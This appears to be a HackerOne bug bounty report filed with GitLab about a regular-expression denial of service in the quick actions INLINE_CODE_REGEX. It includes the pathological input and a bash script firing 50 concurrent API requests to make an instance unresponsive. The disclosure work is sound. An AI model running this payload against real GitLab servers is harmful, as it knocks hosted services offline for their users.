ReDoS via INLINE_CODE_REGEX in lib/gitlab/quick_actions/extractor.rb

HackerOne report #1277918 by hashkitten on 2021-07-26, assigned to @dcouture:

Report | How To Reproduce

Report

Summary

A regex that is used to exclude certain patterns in markdown from Quick Actions has cubic complexity, leading to an application wide DoS.

Detail

Gitlab uses regular expressions to exclude certain parts of markdown from being considered a quick action. In lib/gitlab/quick_actions/extractor.rb the code defines an INLINE_CODE_REGEX as follows:

INLINE_CODE_REGEX = %r{  
  (?<inline_code>  
    # Inline code on separate rows:  
    # `  
    # Anything, including `/cmd arg` which are ignored by this filter  
    # `

    `\n*  
    .+?  
    \n*`  
  )  
}mix.freeze  

which is then used as part of a bigger EXCLUSION_REGEX

EXCLUSION_REGEX = %r{  
  #{CODE_REGEX} | #{INLINE_CODE_REGEX} | #{HTML_BLOCK_REGEX} | #{QUOTE_BLOCK_REGEX}  
}mix.freeze  

This regex is matched against the body of issues, comments etc. to exclude certain markdown elements from being considered a candidate for quick actions. However, the INLINE_CODE_REGEX has cubic complexity, which leads to an application wide DoS with the pathological input

"`"+"\n"*100000+"x".  

Steps to reproduce

The attacker needs an API token and the ability to post issues on at least one project. Run the following bash script, which will attempt to create issues with the body described above:

PROTO=https  
GITLAB_HOST=your-gitlab-instance  
PROJECT_ID=xxxxxx  
AUTH_TOKEN=xxxxxx

PAYLOAD=$(ruby -e'print "`"+"\n"*100000+"x"')

for i in {1..50}; do  
  curl -X POST \  
    "${PROTO}://${GITLAB_HOST}/api/v4/projects/${PROJECT_ID}/issues" \  
    -H "Private-Token: ${AUTH_TOKEN}" \  
    --data "title=issue_${RANDOM}_${RANDOM}" \  
    --data "description=${PAYLOAD}" & done  

In local testing this caused my Gitlab instance to become unresponsive.

Results of GitLab environment info

I reproduced via docker in gitlab/gitlab-ee:latest.

System information  
System:  
Proxy:          no  
Current User:   git  
Using RVM:      no  
Ruby Version:   2.7.2p137  
Gem Version:    3.1.4  
Bundler Version:2.1.4  
Rake Version:   13.0.3  
Redis Version:  6.0.14  
Git Version:    2.32.0  
Sidekiq Version:5.2.9  
Go Version:     unknown

GitLab information  
Version:        14.1.0-ee  
Revision:       e4567ef4362  
Directory:      /opt/gitlab/embedded/service/gitlab-rails  
DB Adapter:     PostgreSQL  
DB Version:     12.6  
URL:            http://gitlab.example.com  
HTTP Clone URL: http://gitlab.example.com/some-group/some-project.git  
SSH Clone URL:  git@gitlab.example.com:some-group/some-project.git  
Elasticsearch:  no  
Geo:            no  
Using LDAP:     no  
Using Omniauth: yes  
Omniauth Providers:

GitLab Shell  
Version:        13.19.0  
Repository storage paths:  
- default:      /var/opt/gitlab/git-data/repositories  
GitLab Shell path:              /opt/gitlab/embedded/service/gitlab-shell  
Git:            /opt/gitlab/embedded/bin/gi  

Impact

This can be used to render a hosted Gitlab instance inaccessible.

How To Reproduce

Please add reproducibility information to this section: